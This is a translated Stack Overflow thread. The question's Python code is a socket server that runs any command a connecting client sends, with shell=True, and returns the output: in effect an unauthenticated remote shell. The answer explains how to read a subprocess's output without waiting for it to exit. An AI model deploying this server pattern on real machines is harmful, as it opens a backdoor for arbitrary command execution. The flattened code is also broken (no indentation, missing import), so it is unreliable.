如果我设置command1 = "start notepad.exe“,有没有一种方法可以让脚本输出gino.stdout和gino.stderr,而不等待notepad.exe关闭?
import socket
import subprocess
import os
HOST = '//' #
PORT = 8081 #
server = socket.socket()
server.bind((HOST, PORT))
# print('[+] Server Started')
# print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
# print(f'[+] {client_addr} Client connected to the server')
while True:
command = client.recv(4096)
command1 = command.decode()
print(command1)
if command1 != "exit":
gino = subprocess.run(command1, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
risposta = gino.stdout + gino.stderr
if risposta != b"":
client.send(risposta)
print(risposta)
else:
v = "Executed " + command1
print(v)
client.send(v.encode())
else:
client.close()
sys.exit()发布于 2021-10-04 15:23:18
令我惊讶的是,这比我预期的要难一些。我假设你的命令是notepad.exe,并且我假设你在windows上,所以像stdbuf这样的工具是不可用的。
从刷新stdout的程序中获取输出很容易:
# tesflush.py
import time
from sys import stdout
for i in range(100):
print(f"line {i}")
stdout.flush()
time.sleep(0.1)import subprocess
from time import sleep
p = subprocess.Popen(
["python", "testflush.py"], stdout=subprocess.PIPE, encoding="utf8"
)
for line in iter(p.stdout.readline, ""):
print(line, end="")但是,如果应用程序不刷新stdout,情况就会变得更糟。我最终偶然发现了this question,它提到使用pexpect作为获取伪tty的简单方法,从而强制输出刷新:
#testnoflush.py
import time
for i in range(100):
print(f"line {i}")
time.sleep(0.1)import pexpect
child = pexpect.spawn("python test2.py", encoding="utf8")
for line in child:
print(line, end="")
child.close()我怀疑你会需要这样的东西(如果你真的需要避免pexpect,链接的问题有一个手动实现)。
https://stackoverflow.com/questions/69437839
复制相似问题